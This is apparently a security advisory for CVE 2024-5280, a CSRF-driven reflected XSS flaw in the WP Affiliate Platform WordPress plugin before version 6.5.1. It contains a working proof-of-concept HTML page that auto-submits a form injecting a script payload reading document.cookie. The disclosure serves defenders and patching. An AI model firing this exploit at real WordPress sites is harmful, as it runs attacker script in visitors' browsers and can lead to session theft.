WP Affiliate Platform < 6.5.1 – POST Reflected XSS | CVE 2024-5280

Description

The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make non-logged in users execute an XSS payload via a CSRF attack

Proof of Concept

Replace the URL in form action with the vulnerable WP instance:

```
<html>
  <body>
    <form action="https://example.com/affiliate-view-demo?wp_affiliate_view=members_only" method="POST">
      <input type="hidden" name="info&#95;update" value="true" />
      <input type="hidden" name="start&#95;date" value="&lt;script&gt;alert&#40;document&#46;cookie&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="end&#95;date" value="&lt;script&gt;alert&#40;document&#46;cookie&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="info&#95;update" value="Display&#32;Data" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```